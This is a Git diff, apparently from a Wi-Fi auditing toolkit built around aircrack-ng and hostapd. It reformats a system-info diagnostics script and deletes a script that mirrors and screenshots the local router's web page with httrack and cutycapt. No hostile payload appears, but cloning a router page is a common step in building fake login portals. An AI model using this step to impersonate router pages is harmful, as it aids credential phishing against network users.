echo "[ XTerm Info ]"
|
echo "$HEADER_SIZE XTerm Infos"
|
||||||
echo "Version: $(xterm -version)"
|
echo "**Version:** $(xterm -version)"
|
||||||
echo "Path: $(ls -L $(which xterm))"
|
echo "**Path:** $(ls -L $(which xterm))"
|
||||||
echo -n "Test: "
|
echo -n "Test: "
|
||||||
if xterm -hold -fg "#FFFFFF" -bg "#000000" -title "XServer/XTerm Test" -e "echo \"XServer/XTerm test: close window to continue...\"" &>/dev/null; then echo "XServer/XTerm success!"
|
if xterm -hold -fg "#FFFFFF" -bg "#000000" -title "XServer/XTerm Test" -e "echo \"XServer/XTerm test: close window to continue...\"" &>/dev/null; then echo "XServer/XTerm success!"
|
||||||
else echo "XServer/XTerm failure!"
|
else
|
||||||
|
echo -e "\033[31m XServer/XTerm failure!\033[0m"
|
||||||
fi
|
fi
|
||||||
echo -ne "\n\n"
|
echo -ne "\n\n"
|
||||||
|
|
||||||
echo "[ HostAPD Info ]"
|
echo "$HEADER_SIZE HostAPD Info"
|
||||||
hostapd -v
|
hostapd -v
|
||||||
echo "Path: $(ls -L $(which hostapd))"
|
echo "Path: $(ls -L $(which hostapd))"
|
||||||
echo -ne "\n\n"
|
echo -ne "\n\n"
|
||||||
|
|
||||||
echo "[ Aircrack-ng Info ]"
|
echo "$HEADER_SIZE Aircrack-ng Info"
|
||||||
aircrack-ng -H | head -n 4
|
aircrack-ng -H | head -n 4
|
||||||
echo -ne "\n\n"
|
echo -ne "\n"
|
||||||
|
|
||||||
echo "[ System Info ]"
|
echo "$HEADER_SIZE System Info"
|
||||||
if [ -r "/proc/version" ]; then cat /proc/version
|
if [ -r "/proc/version" ]; then
|
||||||
else uname -r
|
echo "**Chipset:** $(cat /proc/version)"
|
||||||
|
else
|
||||||
|
echo "**Chipset:** $(uname -r)"
|
||||||
fi
|
fi
|
||||||
|
|
|
@ -1,70 +0,0 @@
|
||||||
#!/bin/bash
|
|
||||||
|
|
||||||
##################################### < CONFIGURATION > #####################################
|
|
||||||
|
|
||||||
gateway=$(ip route | grep default | awk '{print $3}')
|
|
||||||
|
|
||||||
#Colors
|
|
||||||
white="\033[1;37m"
|
|
||||||
red="\033[1;31m"
|
|
||||||
blue="\033[1;34m"
|
|
||||||
transparent="\e[0m"
|
|
||||||
|
|
||||||
#############################################################################################
|
|
||||||
|
|
||||||
clear
|
|
||||||
echo -e "$red[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]"
|
|
||||||
echo -e "$red Prepare router page."
|
|
||||||
echo -e "$blue[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]""$transparent"
|
|
||||||
echo "[i] Prepare dep."
|
|
||||||
|
|
||||||
# Check which package manager is installed
|
|
||||||
echo "Package Manager"
|
|
||||||
if hash pacman 2>/dev/null; then
|
|
||||||
PACK="pacman -S"
|
|
||||||
else
|
|
||||||
if hash apt-get 2>/dev/null; then
|
|
||||||
PACK="apt-get install"
|
|
||||||
else
|
|
||||||
if hash yum 2>/dev/null; then
|
|
||||||
PACK="yum install"
|
|
||||||
fi
|
|
||||||
fi
|
|
||||||
fi
|
|
||||||
sleep 0.025
|
|
||||||
echo "================================================================================="
|
|
||||||
|
|
||||||
echo -ne "Httrack........."
|
|
||||||
if ! hash httrack 2>/dev/null; then
|
|
||||||
echo -e "\e[1;31mNot installed"$transparent""
|
|
||||||
$PACK httrack
|
|
||||||
else
|
|
||||||
echo -e "\e[1;32mOK!"$transparent""
|
|
||||||
fi
|
|
||||||
sleep 0.025
|
|
||||||
echo "================================================================================="
|
|
||||||
|
|
||||||
echo -ne "cutycapt........"
|
|
||||||
if ! hash httrack 2>/dev/null; then
|
|
||||||
echo -e "\e[1;31mNot installed"$transparent""
|
|
||||||
$PACK cutycapt
|
|
||||||
else
|
|
||||||
echo -e "\e[1;32mOK!"$transparent""
|
|
||||||
fi
|
|
||||||
sleep 0.025
|
|
||||||
echo "================================================================================="
|
|
||||||
|
|
||||||
if [ ! -d sites ]; then
|
|
||||||
mkdir sites
|
|
||||||
fi
|
|
||||||
|
|
||||||
#############################################################################################
|
|
||||||
echo "[i] Download preview picture"
|
|
||||||
cutycapt --url=http://$gateway --out=sites/$(date | awk '{print $4}').png
|
|
||||||
echo "================================================================================="
|
|
||||||
|
|
||||||
cd sites
|
|
||||||
echo "[i] Download router site"
|
|
||||||
httrack $gateway
|
|
||||||
echo "================================================================================="
|
|
||||||
echo "[I] DONE"
|
|
Loading…
Reference in New Issue